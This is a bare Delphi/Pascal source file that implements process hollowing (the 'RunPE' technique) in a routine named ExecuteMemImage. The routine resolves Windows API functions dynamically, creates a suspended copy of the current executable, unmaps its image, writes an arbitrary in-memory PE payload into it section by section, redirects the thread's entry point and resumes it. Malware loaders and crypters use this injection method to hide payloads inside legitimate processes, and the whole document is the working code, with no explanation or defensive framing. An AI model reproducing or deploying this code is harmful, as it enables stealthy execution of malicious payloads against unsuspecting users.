var
 ZwUnmapViewOfSection: function(hProcess: Cardinal;
                                BaseAddress: Pointer): Cardinal; stdcall;
 SetThreadContext: function(hThread: THandle;
                            const lpContext: TContext): BOOL; stdcall;
 CreateProcess: function (lpApplicationName: PChar; lpCommandLine: PChar;
                          lpProcessAttributes,
                          lpThreadAttributes: PSecurityAttributes;
                          bInheritHandles: BOOL; dwCreationFlags: DWORD;
                          lpEnvironment: Pointer;
                          lpCurrentDirectory: PChar;
                          const lpStartupInfo: TStartupInfo;
                          var lpProcessInformation: TProcessInformation): BOOL;
                          stdcall;
 ReadProcessMemory: function(hProcess: THandle; const lpBaseAddress: Pointer;
                             lpBuffer: Pointer; nSize: DWORD;
                             var lpNumberOfBytesRead: DWORD): BOOL; stdcall;
 WriteProcessMemory: function(hProcess: THandle; const lpBaseAddress: Pointer;
                              lpBuffer: Pointer; nSize: DWORD;
                              var lpNumberOfBytesWritten: DWORD): BOOL; stdcall;
 ResumeThread: function(hThread: THandle): DWORD; stdcall;
 VirtualProtectEx: function(hProcess: THandle; lpAddress: Pointer;
                            dwSize, flNewProtect: DWORD;
                            var OldProtect: DWORD): BOOL; stdcall;

procedure ExecuteMemImage(MemImage: Pointer);
type
 PImageDosHeader = ^TImageDosHeader;
 PImageNtHeaders = ^TImageNtHeaders;
 PImageSectionHeader = ^TImageSectionHeader;
const
 Mapping: array[0..7] of DWORD = (PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY,
                                  PAGE_EXECUTE_READ, PAGE_READWRITE,
                                  PAGE_EXECUTE_READWRITE, PAGE_READWRITE,
                                  PAGE_EXECUTE_READWRITE);
var
 i, rpm, wpm: Cardinal;
 pi: TProcessInformation;
 Context: TContext;
 si: TStartUpinfo;
 Addr, ImageBase: Pointer;
 inh: PImageNtHeaders;
 ish: PImageSectionHeader;
 hNtDll, hKernelDll: Dword;
begin
 hNtDll := LoadLibrary('ntdll.dll');
 if hNtDll <> 0 then
    ZwUnmapViewOfSection := GetProcAddress(hNtDll, 'ZwUnmapViewOfSection');
 hKernelDll := LoadLibrary('kernel32.dll');
 if hKernelDll <> 0 then
 begin
   SetThreadContext := GetProcAddress(hKernelDll, 'SetThreadContext');
   CreateProcess := GetProcAddress(hKernelDll, 'CreateProcessA');
   ReadProcessMemory := GetProcAddress(hKernelDll, 'ReadProcessMemory');
   WriteProcessMemory := GetProcAddress(hKernelDll, 'WriteProcessMemory');
   ResumeThread := GetProcAddress(hKernelDll, 'ResumeThread');
   VirtualProtectEx := GetProcAddress(hKernelDll, 'VirtualProtectEx');
 end;
 inh := PImageNtHeaders(DWORD(MemImage) +
        DWORD(PImageDosHeader(MemImage)^._lfanew));
 ZeroMemory(@si, SizeOf(si));
 si.cb := SizeOf(si);
 if not CreateProcess(nil, PChar(ParamStr(0)), nil, nil,
                      False, CREATE_SUSPENDED or CREATE_NEW_CONSOLE,
                      nil, nil, si, pi) then exit;

 try
   Context.ContextFlags := CONTEXT_INTEGER;
   if not GetThreadContext(pi.hThread, Context) then exit;
   ReadProcessMemory(pi.hProcess, Pointer(Context.Ebx + 8),
                     @Addr, SizeOf(Addr), rpm);
   if Addr = nil then exit;
   if ZwUnmapViewOfSection(pi.hProcess, Addr) <> 0 then exit;
   ImageBase := VirtualAllocEx(pi.hProcess,
                               Pointer(inh.OptionalHeader.ImageBase),
                               inh.OptionalHeader.SizeOfImage,
                               MEM_RESERVE or MEM_COMMIT,
                               PAGE_EXECUTE_READWRITE);
   if ImageBase = nil then exit;
   WriteProcessMemory(pi.hProcess, ImageBase,
                      MemImage, inh.OptionalHeader.SizeOfHeaders, wpm);
   ish := PImageSectionHeader(inh);
   Inc(PImageNtHeaders(ish));
   for i := 0 to inh.FileHeader.NumberOfSections - 1 do
   begin
     if ish.SizeOfRawData > 0 then
     begin
       WriteProcessMemory(pi.hProcess, PChar(ImageBase) + ish.VirtualAddress,
                          PChar(MemImage) + ish.PointerToRawData,
                          ish.SizeOfRawData, wpm);
       VirtualProtectEx(pi.hProcess, PChar(ImageBase) +
                        ish.VirtualAddress, ish.SizeOfRawData,
                        Mapping[ish.Characteristics shr 29], wpm);
     end;
     Inc(ish);
   end;
   WriteProcessMemory(pi.hProcess, Pointer(Context.Ebx + 8),
                      @ImageBase, SizeOf(ImageBase), wpm);
   Context.Eax := DWORD(ImageBase) + inh.OptionalHeader.AddressOfEntryPoint;
   SetThreadContext(pi.hThread, Context);
   ResumeThread(pi.hThread);
 finally
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   FreeLibrary(hNtDll);
   FreeLibrary(hKernelDll);
 end;
end;